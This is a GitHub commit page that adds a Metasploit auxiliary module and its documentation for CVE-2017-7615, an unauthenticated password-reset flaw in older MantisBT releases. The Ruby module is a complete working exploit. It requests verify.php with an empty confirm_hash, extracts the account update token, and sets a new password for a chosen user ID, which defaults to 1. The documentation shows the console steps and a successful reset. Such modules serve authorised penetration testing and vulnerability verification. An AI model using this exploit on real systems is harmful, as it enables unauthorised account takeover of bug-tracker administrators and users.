Skip to content

Commit 59de7d3

Browse files
committed
Land rapid7#8671, Add a module for CVE-2017-7615
2 parents 99bb091 + 5802196 commit 59de7d3

File tree

2 files changed

+143
-0
lines changed

2 files changed

+143
-0
lines changed
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
## Vulnerable Application
2+
3+
MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded
4+
on
5+
[Sourceforge](https://sourceforge.net/projects/mantisbt/files/mantis-stable/).
6+
7+
## Verification Steps
8+
9+
1. Install the vulnerable software
10+
2. Start msfconsole
11+
3. Do: ```use auxiliary/admin/http/mantisbt_password_reset```
12+
4. Do: ```set rhost```
13+
5. Do: ```run```
14+
6. If the system is vulnerable, the module should tell you that the password
15+
was successfully changed.
16+
17+
## Scenarios
18+
19+
```
20+
msf > use auxiliary/admin/http/mantisbt_password_reset
21+
msf auxiliary(mantisbt_password_reset) > set rport 8082
22+
rport => 8082
23+
msf auxiliary(mantisbt_password_reset) > set rhost 127.0.0.1
24+
rhost => 127.0.0.1
25+
msf auxiliary(mantisbt_password_reset) > run
26+
27+
[+] Password successfully changed to 'ndOQTmhQ'.
28+
[*] Auxiliary module execution completed
29+
msf auxiliary(mantisbt_password_reset) >
30+
```
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info={})
10+
super(update_info(info,
11+
'Name' => "MantisBT password reset",
12+
'Description' => %q{
13+
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' =>
17+
[
18+
'John (hyp3rlinx) Page', # initial discovery
19+
'Julien (jvoisin) Voisin' # metasploit module
20+
],
21+
'References' =>
22+
[
23+
['CVE', '2017-7615'],
24+
['EDB', '41890'],
25+
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
26+
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
27+
],
28+
'Platform' => ['win', 'linux'],
29+
'DisclosureDate' => "Apr 16 2017"))
30+
31+
register_options(
32+
[
33+
OptString.new('USERID', [ true, 'User id to reset', 1]),
34+
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
35+
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
36+
]
37+
)
38+
end
39+
40+
def check
41+
begin
42+
res = send_request_cgi({
43+
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
44+
'method'=>'GET'
45+
})
46+
47+
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
48+
vprint_status("MantisBT detected")
49+
return Exploit::CheckCode::Detected
50+
else
51+
vprint_status("Not a MantisBT Instance!")
52+
return Exploit::CheckCode::Safe
53+
end
54+
55+
rescue Rex::ConnectionRefused
56+
print_error("Connection refused by server.")
57+
return Exploit::CheckCode::Safe
58+
end
59+
end
60+
61+
def run
62+
res = send_request_cgi({
63+
'uri' => normalize_uri(target_uri.path, '/verify.php'),
64+
'method' => 'GET',
65+
'vars_get' => {
66+
'id' => datastore['USERID'],
67+
'confirm_hash' => ''
68+
}
69+
})
70+
71+
if !res || !res.body
72+
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
73+
end
74+
75+
cookie = res.get_cookies
76+
77+
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
78+
fail_with(Failure::NoAccess, "Authentication failed")
79+
end
80+
81+
82+
if datastore['PASSWORD'].blank?
83+
password = Rex::Text.rand_text_alpha(8)
84+
else
85+
password = datastore['PASSWORD']
86+
end
87+
88+
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
89+
token = $1
90+
else
91+
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
92+
end
93+
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
96+
'method' => 'POST',
97+
'vars_post' => {
98+
'verify_user_id' => datastore['USERID'],
99+
'account_update_token' => $1,
100+
'realname' => Rex::Text.rand_text_alpha(rand(5) + 8),
101+
'password' => password,
102+
'password_confirm' => password
103+
},
104+
'cookie' => cookie
105+
})
106+
107+
if res && res.body && res.body.include?('Password successfully updated')
108+
print_good("Password successfully changed to '#{password}'.")
109+
else
110+
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
111+
end
112+
end
113+
end

0 commit comments

Comments
 (0)